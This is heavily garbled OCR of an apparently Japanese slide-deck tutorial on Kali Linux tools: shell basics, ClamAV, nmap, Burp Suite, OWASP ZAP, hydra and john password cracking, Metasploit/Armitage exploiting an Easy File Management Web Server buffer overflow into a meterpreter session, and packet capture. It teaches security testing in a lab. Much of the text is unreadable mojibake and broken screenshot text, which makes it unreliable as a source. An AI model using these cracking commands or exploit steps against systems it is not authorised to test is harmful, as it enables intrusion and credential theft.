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root@kali:~# cd /root/Documents T«4LIKR)DYIYEZ

root@kali;/root/Documentstt Is ~ T7AILETALIMIDRR(RRLEOIEELEZWI7MILER Y)Yy TIAERL
TERELEY

root@kali:~# cp Z7AILE T4LIKY BTODTALIN)DIT7AIVERDT LI )~OE—

root@kali:~# mv 274ILE T«LIK) BTOTALIRN)DI7AILERNDTALIR)~FEEH

root@kall ~# rm77MILE 2714 ILDHEIR

aAYURDA T AR hoiEWMEEIX . ANILTTHWNWEDLES, TXTOaY

_Jtl:d" BE  rm -hel
747‘Z€’21ﬁ&help)
@ :L—%EBR O+ R4t
root@kali:~ $ su - A—/\—1—H (root)[THIYEZ. NRT—KZ A A
root@kali:~# ps a FIRDEINTWNSTOERERT
root@kali:~# kil BEDTOERAZREIET
root@kali:~# apt-get install pkg INVT—D DAV RAN—)LIEEIZEA
root@kali:~# date Bt BRIOFREEZITVET,
%O_(i),t\@cl%ljl ~# leafpad /etc/network/interfaces AT —RIZERABLTLWVRABTEZEBLET, VikYHFELA
@ EZa—)L,usb, * £ HDDIHED R
root@kali:~# Ismod linuxMED 21— LY ARRT
root@kali:~# Isusb usb®D T /A AR
root@kali:~# free -mt AEYFERIRERTR
root@kali:~# df -h HDD (Y444~ RASD) D{ERIKER T
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e PUFIAIAREKELTEHEDclamAVEA L AR—ILLTET,

_ + FRTOEREERELTHT, — ING—=2T7 4 IVEHT

4 ) & ) (V) =+ ) ) F(H) -~ ==
__),-1‘J(F_. HHE(E) ,&T(V_ B—=FIL(T) SF(A) ~LF(H) #freShC|am %E}JX#'V’-/%%F@
root@kali:~# freshclam
ClamAV update process started at Fri Sep 15 14:45:54 2017 -d—éi%A‘j: g Eﬂf%%ﬁéhi-ﬁ-

WARNING: Your ClamAV installation is OUTDATED! A o

WARNING: Local version: @.99.3-betal Recommended version: ©.99.2 = -~
DON'T PANIC! Read http www. clamav.net/documents/upgradin lamav %E}] C\Z#"V./
main.cvd is up to date (version: 58, sigs: 4566249, f-level: 608, builder: sigmgr

) . # clamscan --infected --remove --recursive
Downloading daily-23826. cd 100%

Downloading daily-23827 i 108
Downloading daily-2382
Downloading daily-2
Downloading daily-2
Downloading daily-2
Downloading d

Downloading daily-23833.cdiff %
daily.cld updated (version: 23833, sigs: 1743819, f-level: 63, builder: neo)
bytecode.cvd is up to date (version: 311, sigs: 74, f-level: 63, builder: neo)

Database updated (6309342 signatures) from db.local.clamav.net (IP: 124.35.85.83

)

ERROR: NotifyClamd: Can't find or parse configuration file /etc/clamav/clamd.conljider:
F

et e e i e e e

w

neo)

oot@kali:- builder: neo)
root@kali:~# i P: 124.35.85.83

LIvAuwig IWULL YL LU, Ll L T LU Ul Ul 3T LU LYul ULiuil 1 LLS [ TLLg Slamav/clamd. con

f
root@kali:~# clamscan --infected --remove --recursive

——————————— SCAN SUMMARY -----------
Known viruses: 6303733

Engine version: 0.99.3-betal

Scanned directories: 147

Scanned files: 1066

Infected files: @

Data scanned: 70.56 MB

Data read: 40.97 MB (ratio 1.72:1)
Time: 186.448 sec (3 m 6 s)
rootékali:~# ]
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BRVVRENRELET  BEHEETERLTZS0Y,

= Terminal o Bl

TP ILF) Eim) B/R(V) S—=FI(T) ST(A) ~ILF(H)

B ARG
# apt-get update

Terminal

(o] » Y e |
IPTIU(F) WE(E) J|/R(V) S—=FI(T) SF(A) ~ITF(H) 7\\/77 '/_I\§jj’1ﬁ
root@kali:~# apt-get upgrad . # apt_get upgrade

Py J_JI'\I“'ln'_‘L.(J'J‘L [AVIN

U—*ﬁﬁluu??
EJL:‘}}HQ‘J L,[.,‘Iaf_\'r i

flrefor esr flrefoy esr 11un ja gnupg gnupg-agent gstreamerl.@-1libav gvfs
gvfs-daemons gvfs-1libs libavcodech7 libavfiltert libavformat57 libblas3
libdrm-amdgpul 1ibdrm2 libgnutls3@ libidnZ-® libpoppler-glib8 libpsl5
libreoffice-base-core libreoffice-common libreoffice-core
libreoffice-help-ja libreoffice-118n-ja libreoffice-math
libreoffice-style-galaxy libreoffice-writer libwscodecs1 mount python3-uno
uno-1ibs3 ure usb-modeswitch util-linux wireshark-common wireshark-qt
PwIFOL—F: 0 @, i8R A—Jb: 0 @, HIER: 0 @&. (R 35 @.
root@kali:~# |
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#nmap IPZ7RL X
o IR—h-AXr B EImKDEARN—AE
# nmap 192.168.1.5 - — .t ox
SREDIPFTRL R orrum @%e) #my) 5-=700 57(A) ALTH)
" S root@kali:~# nmap 192.168.1.5
"_lﬁﬁ;E?fp{ﬁFﬁL/—CL\é Starting Nmap }'.Iﬁﬂ ( https://nmap.org ) at 2017-09-18 10:17 JST

,—I—i’_'\\ -U-—t‘\xggﬁlﬁ Nmap scan report for 192.168.1.5

Host is up (0.00045s latency).
. 987 filtered ports
STATE SERVICE

80/ tc open http o
135/tcp  open msrpc I}Q W
139/tcp open netbios-ssn

443/ tcp open https

445/ tcp open microsoft-ds

554/tcp open rtsp

9@2/tcp open 1iss-realsecure

912/tcp open apex-mesh

2869/tcp open idicslap

3300/tcp open ceph

3306/tcp open mysql

5357/tcp open wsdapi

18243 /tcp open unknown

MAC Address: 30:F9:ED:ME7, . B (Sony)

Nmap done: 1 IP address (1 host up) scanned in 24.26 seconds
root@kali:~#
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e burp suite’&

A) 43—t T 1k proxy>intercept>interceptis off A /(2 BHETTOH M

DT IEAMNEILELET,

B) 2—4 kMDY AR IFirefoxMu7IEALET,

i‘! Burp Suite Free Edition v1.7.27 - Temporary Project

Burp Intruter Repeater Wintow Help

e

Torget | Procy | Spider | scanner | Intruder | Repeater | Sequencer | Decoer | Camparer | Extenter | Project mptions | User optisns

Merts

iﬂ e s o E e AU T v S aras

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner | Intruser | Repeater | Sequencer | Decoser | Comparer | Extender | Project options | Uzer options | Alerts

j Intercept T HTTP history Twebsnckets history Topnnns 1 j Interceph T NN e oy T"‘Ebs"“km jLLetony, TOD“D”S 1
HRLANPOCRFY FORABE: FSEvOBRY—E2 - 2RO RSL - 70 /0T —BASH - Mozilla Firefox oo Bld
Farwar ] Orop | Intercept 1s off Action went this sten [28/(2) i o T [ ST A N o= -+ ‘ )
R P Head, H Raw  Par: spectrum-tech.co. jp/service/wifi_visualize_traffic.html a@ B ;‘3 B 3 @ =
- “vee Pl t;%bi_x W Aircrack-ng @ Kali Forums @ Wetunter [B5] Most Visited ¥ » =
FSHERBOPIEAER B TIESHBE o
2 </ /ifb g@?g?/’éﬁql_ciwé S a4 rvz AV—kK—L v MBABEY—ER - BE—%K v EREE -
intercept is offlELET . |
HR—k v SR v sHLabE
~ = . —
B|HELANTOLZIRYEDRZ31L: hSEw
= w
DEMY—EX
m © UNETED | G+ | [@Pocket| | Dyt
(RN ES] B matches L2 ) Ls e Ln ) [Twe a search term
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@. burp suite(webRfz53 142

e burp suitei®

C) YAr~ADBIEINRHEEE proxy>http history

D) HAbI YT DR target>site map

C

Burp Suite Free Edition v1.7.27 - Temporary Project T T e X
Burp Intruder Repeater Window Help
Target | Proey | Spider | scanner | Intruder | Repeater | Sequencer | becoer | Conparer | Extender | Project options | User options | Alerts |
[Imrcap] HTTP nistwlmmckets history | aptions |
‘Flltar: Hiding C55. image and peneral binary content ®
£ & Host | Method | URL | Params | Evited | Status | Length | MIME ... | Exten... | Title | Comment | 51
T nitpi/ispectrum-tech... GET  / o () 288 116484 HTHL O s
5 httpi//spectrum-tech... GET  / o u 206 116484 HINL o
4 http:/fspectrum-tech. GET i a Z28B 1'\5483 HTHL a
5 http://spectrum-tech... GET f Al [ p— o
b http:/fspectrum-tech... GET  f I_j /L\o)ﬂi n«, b\. I;II 5]
7 httpi//spectrum-tech... GET  / “"0 = Argras il = o
] http://spectrum-tech... GET rwordpressswp-content/plu, .. @ O a8 523 script o
] http:/fspectrun-tech... [POST | /7ya_action=googleanalyti... (@ O 28 747 script o
0 Nitp:/ispectrum-tech... GET  /eerviceswifi_visualize t... () Oz 81 KWL 5]
16 httpi/ispectrum-tech... GET  /wordpressiwp-content/plu... (@ O =6 925 script o
78 httpi/fspectrum-tech... POST  /7ya_action-poogleanalyti... (& O a8 747 script ol
e 3
Reguest | Respanse |
kaw | Parans | Heaters | Hex |
POST /7ga_action=googleanalytics_get_script HTTP/1.1 a
Host: spectrum-tech.co.jp
User-Agent: Mozillas5.B (K11; Linux armvTl; rvi45.B) Gecko/20108101 Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=8.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-wwi-form-urlencoded; charset=UTF-§
{-Requested-With: XHLHttpRequest
Referer: http://spectrun-tech.co.jp/
Content-Length: 33
Cookie: _ga=62 1 _gid=6A1.3
pt_baf84378:; o - - T BN
__sharethis_cookie_test__
Connection: close
action=acosleanalvtics aet scriot |

Lzl = )| = | Twee s search terw B matches

D

Burp Suite Fras Edition v1.7.27 - Temporary Project Lo B3
Burp Intruter Repeater Window Help

Target | Prosy | spuver | scanner | intruser | kepeater | senuencer | vecouer | comparer | Extender | project options | user sption: | aterts |

site nap | Scope |
Filter: Higing not found items; hiing (S5, image and general binary content; hiding #xx responses; hiding empty folders @
» 0 https://api.wory s | Method | URL | Params |5... 4| Length |WMIME type |Title | Comment
> B nttps:fiapis. gooyle. com Jepectrum. .. GET ¥ O e 116488 HTHL FELE i
> 8] nhttps://app. powerdi.com fepectrum POST  s7ys_action=gos... (& 288 47 seript
» 71 http:ffassets,pinterest.com fspectrum... GET Foerviceswifi_ (S 81264 HTHL .
(S httpifsb. hatena. ne. jp http:/ispectrum... GET Ssier_serwice/a. .. [T B1646  HTHL Airmagnet&HEs
> [ http:/scloud.watch. impress. co. jp GET rwordpressfup-c... [ 208 [T script
e ; ° GET  fwordpressfwp-c... [ 288 D5 script
» 7 nttp:dsPickity metafizay. co ST 7y sctionsgen.. @
» 73 http: /s Tants. googLeapis. con BT e7peanss @
> O hites:/ifonts. gooyleapis, con http:/éspectrun... GET  /7p-4355 €] v
» BI https://getpocket, com . T
> 7 http:d/gmpg. org
» B nttpe:/igoogle-analytice. S a—
: po:/figoogle-analytice, com W oe 1
» 7 http:/ip. pinterest.con e
> 0 nttpieriineme ko | Farans | headers | hex |
> Imaps. gooyLeapis, con GET / HITP/1.1 n
- fnews,mynavi. jp Host: spectrun-tech. co. jp r
» 7 http:s/platforn-apl.sharethis. con User-Agent: Mozilla/5.B (X11; Linux armu7l; ru:45.0) Gecko/2B18B101 Firefox/45.D
0 nttprifs worg Accept: text/html,application/xhtmlexml,application/xml;q=0.9,%/*;4=0.8
» 71 http:d/spectrin-tech. co.i -:“““ EW:W‘ en-Us, 5"'1"’

fspectrun-tech.co.ip ceept-Encoding: gatp, geflate oLl . gldetd

S JEtatic,sus- teitter, con FEER i
> Fthemegrill, com - - |

IS . r
» O https:/itwitter, con Cirrection: Ciode
» 7 http:f/vZ.zopim, con
» B https:/éwidgets. getpocket, con /r I“ b.i i énﬂi

"j'. = NV % q g

» 0 http:dwordpress, org )< Q j/ ANE NG bR 9 o
B http:dswew.analyticsip. net - — =
>0 https £ éwww. Facebook. com
» .yoogle-analytice, con
- .uoogle, com
- Jkeyman, o §p L
> .netventure-news. com ﬁ v
> .robtotay. com
. ' (o) (e | o) o] [roe & search term B natches

https / fwww . skypeassets, con

all rights reserved 2017 spectrum technology co. 31



"

%’H’ Spectrum Technology

RIOARINYHBRRT

7L

@- OWasp Zap (Webﬂﬁi%%'l‘éiﬁé) s

- BWiH %
INEBSE a4
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C) 72—hURIME., h/MRlIcH A ENMERICHET,

[ 192 188.1.144:1 (roct's X desktop (kali: 1)) - VNC Viewer - ] X

W rIUs-vay [\Y BECUS2Y - OWASPZAP260

M8 - OWASP ZAP 2.6.0
SF7l RE BR AVY— LF—b Y-l VSV AT
BT FllEdmEg 1A 008 00 4 P P OXERE
@ Tk [Forwo 25— #| = JoIzr | L2K2Ze | + |
et _ _k
- EPTETS | OWASP Zed Attack Proxy (ZAPIANEL ST
[EWEIVFE2 ; " i i
e G-t 0)u.RE’ég@j]‘lﬂfk”'“'.‘“ﬁ"m*a‘ W

G

h " g, ; SR 7T 3 Y ERT S & S REDIT LT

FPANDRT L

SUEFA TSR, FROAEADLT W ERLTIS

A
& uRl  hitp:ssspectrun-tech.co. jp ]
- amwEg

AYFHYERDISLBUILERRLETY

[Zme | mm [R7s—r | 7ordvr [@trs—2a] + |
MR, EATIIR: |0: htep://spectrum-tech.co. jp ) Ul L) o MEOI#v i1 BUBUALE: 1886 = Ave—INzLERT

Processed | vy | Flags
GET um-tech. co. jp/7p=1882
GET um-tech. co. jp/wp- jsan/oemied/ 1. 0/e. . .
GET um-tech. co. jp/wp-json/oemied/ 1.8/, . .
GET ttp://spectrun-tech.co. jp/wardpress/wg-content.. .
GET http://spectrun-tech.co. jp/wordpress/wp-content .. .
GET http://b.hatena.ne. jp/entry/http: /spectrum-tech.., Cut of Scope

IR ] WEDIH e @0 P D0 Q8 W1 S0 #

a MMty a - OWASP ZAP 2.6.0
JrEl |BE FF FUI— LA—k Wl NS AT
Bt W Cdmfi@ 126 005 O 4y @P ) O XERm |

@ Y|4 [% 21vo 25—+ = vorar [Lafeae -

[T E

@ L ECE LHEEI‘]EI’: FIFEI1— |V] lEudy: Large Response ‘V] @ =

v @ :I‘/;T—#XI: Vary: User-Agent A
[EImEITH21- Link: <http://spectrum-tech.co.jp/up-jsanss; rel="https://api.w.orgd ", <

@ http://spectrum-tech.co.jpé>; rel=shortlink

Content-Type: textfhtml; charset=UTF-8

ry large response hody - switch views (using the pulldown currently showing

Hody: Large Response”’ above} to display.

aware that this message may take some time to load.

u can change the minimum message size used for the "“large Response”" view via
dptions 4 Display.

= e  [Frs—t 2 [f7oroer [anry— [ 4
X-Frame-Dptions~ w5 —DRH] .
LIRL : http:#/spectrum-tech. co. jp

e srH ¥ Medium
ASRERE Medium

j;;f(—@: %-Frame-Cptions !‘JJJ;RL{D/» z\j}%

U ConkiedHttplnlyBIEAIARIETE (8)

* [ Cross-Domain JavaScript Source File Inclusion (759}
> U Neh T D IS LCMES AN o TLuE AL (114) STHL:

» [ K-Content-Type-GptionsA oo SOEE= 2 (221} OME ID: 16

SO ASNZ0 -0 — R Os T — - v
FS—k M Rl UG

SCID: 1% L]
WEDZEe> 450 G0 N8 O8 1 8
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RIOA/NYABRTITOT 5L

O A\ — N N
. hydra(/NAT—k =05y F2
« ERTTE
A) hydrails EIF
e BEI(X. terminalTERALET
B) gtk/\—T3>
A) s gtkhREFIRATEEY, B)
s Lo o= — t )‘;3}}/ ol

W s-=+nx=aL-5-
TR =T =

Terminal

2 A==

D vx7Ts0Y-

BR(V) F==EFI(T) 5F(A) AWF(H)

| s T . T . 33 @. |1,-Durname

® 01. Information Gathering

a 02- Vulnarability Analysis
03- Web Application Analysis O Username List |
04 Database Assessment
- Password Attacks

- Wireless Attacks I:‘ Loop around users I:‘ Protocol does not require usernames

% 07- Reverse Engineering

# 08- Exploitation Tools Password

09 Sniffing & Spoofing
£ 10- Post Explitation (®) Password |ynurpass
R 13- Social Engineering Taols
8 7oevy
@ TUS-2uk O Password List |
¥ 222
B 5331202 — ; — 2
- kali/kali kali-rolling InRelease [30.5 kB

2274 ; b ’ (0 Generate |1:1:a
B vnzazar 1//ftp.ne.jp/Linux/packages. cali kali-rolling/non-fre ources [
> v Colon separated file

Xfea [£DUVT jp/Linux/packages/kali/kali kali-rolling/main Sources [11.4
B orror ) & e \ 28

sources 9,696 . < |:| Use Colon separated file |

1357 Kib/s

D Try legin as password I:‘ Try empty password |:| Try reversad login

192.168.1.144
2.114.2.84

||1y|:|ra -l yourname -p yourpass -t 16 127.0.0.1 adam&500
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RITAINVHBERTOT 5L
®. john(/INRT—Fk-959F2 )

ERAE
A) johniLs EIF
B) av Kl

A)

[ 192.168.1.144:1 (root's X desktop (kali:1)) - VNC Viewer

L &=0ks

¥ | Terminal

B 5-=snr=av-5-

H IPANTR=T =

BE

D v17Ts9T-

Terminal

e

5—=+IUT)

5F(A) AWTF(H)

™
= e cker jumbo-1-blee
iy L ¥ aemation Gathanny (c esigner and others
A 02- Vulnerability Analysis. N 1. com/john
03 Web Application Analysiz

- Database Assessment [@hn [OPTTONS]
- Password Attacks ld ingle cr
- Wirelezs Attacks

rdlist e, d words from FILE or
- Reverse Enginearing

t , but bul
# 08 Exploitation Tols list, but W

09 - Sniffing & Spoofing 8 wordlist (
& 10- Post Exploitation {INC 0 from FILE
% 13- Social Engineering Tools: n 9

oding (eg.
0DING d --1
d mangling rul

@ roewy 77
@ Tvs-2uk . ordlist modes
tion MODE]

¥ 2512

& 374wz

VAFL
Bl wnFarc7
‘;ﬁ’ ks ] just output candidat
i I restore an interrupted s
Xfee [£DUT essi
8 osror

sion [called NAME]
It will be overwritten

w5 67 5 — B | roet
B JOISLORS... Z 7

B)

DU IE—FR
#sudo john --users=loginid--single
pass_shadow

HEE—F
#sudo john --users=loginid --
wordlist=/usr/share/dict/wordsps

AP AR AXFEDIDEM
#sudo john --users=loginid --incremental
pass_shadow
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9. metasploit(/\yF> T -*y—)L)
ERAE

A)

metasploiti 5 L (T R{ED ML, armitage TEREA

E 192.168.1.144:1 {root's X desktop (kali:1)) - VNC Viewer - [m] X

wlP FTUT—2ay

B erminal

0:32 | 2185 = [R] [ | root = i [T Ex

& TOUSLORT. .

B—EFNI=aL—5—
B 7rruea—ve—

%) x—5—
€D mxFIsHT—
] s
® 01 - Information Gathering
4 02 - Vulnerability Analysis
03 - Web Application Analysis
+ 04- Database Assessment
05 - Password Attacks
06 - Wireless Attacks
07 - Revarsa Enginearing
- Exploitation Tools

[ 5

- Sniffing & Spoofing
10- Post Exploitation
13- Social Engineering Tools
FoeHU
V=R
EERP

ML CFEw»

CEFRDLFY
PEEIN
) wnEazer
& wE

Xfee [EDUT
B osrar

FPIL(F) MSE(E) ‘’T(V) S—=FI(T) H5T(A) ALT(H)

Terminal

WE(E) W|WR(V) S—=FI(T) 2T(A) ~ILF(H) ‘ ) metaspIOIt EEJEE

ld:e appears to be already configured, skipping initialization

A

R o EREE2E Y __ __ o iEs
LR EEES R 23 HiEs
CEREEERN SRR ERR A EEERFEERES NSRS RS ARSI RS RS SEES ISR SRS RIS ISR S E
R ERN R R R EE R E R E SRR R SRR SIS EES RS E RS RSEERSERS RIS I SRR E

WAVE 4 ######## SCORE 31337 HARUKARUKANBHAABHAHNHRAARUAARUHEHAE HIGH FFFFFFFF #
f FEIEIEREI IR EERNSERSEER RS EREEEREERNSERSEERERESERELERESESEEEISL IR SSE N

, https://metasploit.com

]
1682 exploits - 964 auxiliary - 299 post ]
]
]

vyvwvwvwvw

98 payloads - 4@ encoders - 18 nops
Free Metasploit Pro trial: http: .co/trymsp exploits - 964 auxiliary - 299 post
payloads - 48 enc rs - 18 nops

Free Metasploit Pro trial: http://r-7.co/trymsp

vyvTvTvTYTVvYTYTYw
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7L

A0. Armitage(/\yF>% «*J—)LGUIRR)

ERGE
H) {E%IZFE-EY 5% : exploit>

« HFORBUENTHO>TNDEZEEIL. ERIICEOBRYFET

H)
HFDIP7RLRAZAALT. lanch

Armitage

g ]

Armitage Yiew Hosts Attacks Warkspaces Help

it —
[ easyfileshar

[ easyFileshar
[ easyftp_list

[ edirectary_ht

Attack

ektran_

Easy File Manapement Weh Server Stack Buffer Gverflow

[ ektran_

Easy File Management Weh Server vi.B and 45.3 cantains a stack buffer averflox conditian
that ds triggered as user-supplied dnput is not praperly validated when handling the UserlD

2 romnta attacker tn avacuta arhitrace cnds

erican_acces

|| ezserver_htty cnnkia Thic mai allow

A | Value
192.768.1. 144
22258

Gption
LHasT
LpgT

Prozies

4]
g]

Console

< Jr

E:

ROAAT

Targets: |8 => Autumatic Targeting | ¥

(] Use a reverse connection

[ Show advanced options

| Launch J

s

exploitzwindows=htip=efsEfmwsHusesidlbof;

e {5]: windowlZeasy file managementD B EDIZE
* exploit>windows>http>efs_fmws_userid_bof:% T JLI) O TRy T 7V,

[ 192.168.1.144:1 (root's X desktop (kali:1)) - VNC Viewer - o X
P T ERR o —— | ! |1l 1618 21|y = [B) [: | root

jrmitage Yiew Hosts Attacks Morkspaces Help

> | Firemall T
» (@ e r
» [ ganes K ¢
v [ http )

adobe_robohe]
[ altn_security
altn_webadmid
anlitweb_webg
apache_chunig

168.1
-

192. .8

|| apache_nod_rg
apache_modjk}
avaya_cer_ing
badhlue_ext_g

| badhlue_passty

Consale X [ esploit %

) » set RPORT 88
) » set SSL false
} > set RHOST 192.168.7.8

) » exploit -j
*]1 Exploit running as background job 1.
*] Started bind handler
Fingerprinting versionm...
Vi on 5.3 found

el |
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ROARINYDHB T
AD. Armitage(/\w3¥>

« BRI
) ZAEEGE meterpreter>

754
) — )LGUIRR)

o exploitM5E T3 5E MFDIHRD AV —ravh DxTHAS, F—HR—FAH,. 774

JLEREDRIREICEYET,

) « H1)27% :meterpreter 1>explore>screeshot or browse file

H Armitage - windows/httplefs_fmws_userid_bof e x|

frritage View fosts Attacks Horkspaces Help

[ easyfileshary
[ easyftp_list
[ edirectary_h
[ edirectary i

[ efs_easychats

ektron_xslt_|

| ] ektron_xslt_| o 1o

.68,
MASAFMV\_F o el
[ ericom_acces: Sgan
| ) ezserver_htt
[ fdm_auth_hea
| ) generic_http

[ hp_autopass_

Browse Files
Show Bracesses

Host > | Pivoting
ARP Scan...

Kill

hn_ime_hime o

eploit K[ Screenshot 1

irtual Folders (E)u

Log out [ masa ]

Virtual Folder

Refresh | | Watch (18s)

el Armitage - windovrs/http/efs._fmws_userid_bof Sl

Armitage View Hosts Attacks Workspaces Help

[ dupscts_bof &

easychatservd ||o
[ easyfileshar
easyfileshar
easyftp_List
[ edirectary_h

) edirectary_i

sfs_masychat 192,764
MASAFMV\_F _ Meterpreti Access
ektron_xslt_ Seryices Interact
. ektran_slt. Scan £
[ ericom_scces Host Pivating

ezserver_htt, ARP Scan... Lol Eaptrndon

KilL Screenshat
Webcam Shot

fdm_auth_heac ¥

= Post Modules

[tonsote ¥ [ exploit 1 [ esploit X ‘Jlesl X .

| @ | | CiNusers\ERS\Desktop

Do Name Size Vodified Hade
[ masa_fo w77 6777 rwxrwaran i
[ nightha 2016-84-6; ABTTTrnrweax
Access kb 2815-10-6 198666/ rw-rw-ru-
Hitlatc 1kb 2915-10-0 199666/ ra-ru-ra-
Chanaly 2kb 2017-84-2 188666/ ru-ru-ru-
Command kb 2817-86-6; 199666/ rm-rw-ra- |
Cytosca kb 2915-12-1 189666/ rw-ru-ra-
Easy Fi - B4TH 2016-93-2! . TO06EE/ rw-rw-rw-
Excel 2613.1nk kb 2015-10-6 189666/ rw-rw-ra- '
Flash Tkb 2817-B6-B20 1051w e 189666/ ra-ra-ra- v
| Upload... | | Make Directory | | List Drives | | hefrest |
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ROAR/NYHBRRT
AD. exploit DB(Hfa 55 14 i ER,

o BVBR IR IR TE

75 L
TRIK)

e AVARM—=IL:exeTT7AIEZTILY)YILTA U A—IL

=L

®* GX AE

o TAYbMYT Measy file managementZx 4 J LI

A) BERAZEIIYY

B)

- . .
L= B RTLE b LR L

Thank you faor trying Easy File Management Web Server!

| Easy File Management Web Server is a shareware. You are limited to 15
days of use for an unregistered version, after the evaluation period, it can
only run for 30 minutes at a time. To remove the limitation, You need to
purchase a registration code to register it.

g Click here to buy now ==

sername: | |

Reqgistration code: |

Reqgister

all rights reserved 2017 spectrum technology co.

IP7RLRZZERL. Go(T’C*‘IZSO%TI'S—F§1§5xamoph§%éi§‘%liﬁiiﬂ'/‘uﬂ)

X

:H Easy File Management Web Server — X

- Server Help
0O o 0 © ‘
Start Stop Start SSL Stop S50 | About
Options ~
Port: Restart

URL: |http:,|’,|’192. 168, 1.5

SsL Port: Restart

SSLURL: [https://12.168. 1.5

(g

Virtual Folders

N -
\

[ Launch Web Server at windows :E r

. ‘
O smrmpv_a*w_»mw%g "’ﬂ’ % l},:; llﬁ l':’/- : J"I_/

= etz ih B PR TCIES LY

.1_ Automatically activate ssl server at startup

(K )
- %

Group

User Account
i t‘

) Save log to file

Enable guest to login
Enable guest to register a new account

Allow files to be overwritten

Online users Mare Options... SMTP Setup... Dynamic DMS... Service. ..

[Web Server is offline] / [S5L Server is offling]
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12. wireshark(zZ’ Ak

« ERRAE

#tshark —i ethO —w test2
I7MIVEERRLET

#tcpdump —r test2
PCIZHRY tH L Twireshark TR TLF=E&LY

- |
FPrILF) MWEE) J/WR(V) S—=FI(T) SF(A)
. 09:17:55.305407 IP 192.168.1.144.5901
Videos 3:137222, ack 2523, win 223, lepgth 9
069:17:55.306115 IP 192.16 t [)(j[j[]]F)WQI.WﬁE.T.144.5981:
2533, ack 137222, win 280 h 1@
09:17:55.336636 IP 192.168.1.144.5901
length @
.806578 IP
2:138331, ack 2533,
09:17:55.807251 IP 192.168.1.5.54764 >
2543, ack 138331, win 20853, length 1@
09:17:55.807333 IP 192.768.1.144.5981
win 229, length @
09:17:56.236693 IP 192.168.1.5.54764 >
2551, ack 138331, win 2053, length 8
09:17:56.236739 IP 192.768.1.144.5981
win 229, length @
09:17:56.261209 IP 192.168.1.9.73@3 >
09:17:56.306567 IP 192.168.1.144.5901
I 39460, ack 2551, win 229, length 1129
09:17:56.3067256 IP 192.168.1.5.54764 > 192.168.1.144.59@1:
2561, ack 139460, win 2048, length 10
09:17:56.307334 IP 192.168.1.144.5901
win 229, length @

J5L
VT oA4Y

=
TPTIL(F) WE(E)
root@kali:~# 1s
Desktop Documents
root@kali:~# tshark
Running as user "root” aha group
lua: Error during loading:
‘usr/share/wireshar it, lue 4:
g Wireshark as superuser iki.wireshark.o
cePrivileges for help in running Wireshark as an unprivileged
Capturing on 'eth@’

Terminal S Terminal

J|R(V) S—=FI(T) HF(A) ~ILTF(H) ALF(H)

192.168.1.5.54764: Flags

Downloads Music Pictures Public
-1 eth® -w test2

root".

Templates
. Flags
This could be dangerous.

) . > 192.168.1.5.54764: Flags
dofile has been disabled due to ru
CaptureSetup/Captur

user.

> 192.168.1.5.54764:
89
192.168.1.144.590@1:

192.168.1.144.5981
win 229, length

Flags
Flags
> 192.168.1.5.54764: Flags
192.168.1.144.5901: Flags

> 192.168.1.5.54764: Flags

192.168.1.5.54764: Flags
Flags

> 192.168.1.5.54764: Flags

all-systems.mcast.net.73081:

ethOD A3 —TJ1—RADNT—RZEHEFL . test2d

test2DT—3=HAHHLET , RIS T

[P.1,
[p.1,
[.1,
[p.1,
[P.1,
[.1,
[P.1,
(.1,

ubP,
[p.1,

[P.1,
[.1,

seq 13621
seq 2523:
ack 2533,
seq 13722
seq 2533:
ack 2543,
seq 2543:
ack 2551,

length
seq 138

27
33

seq 2551:

ack 2561,
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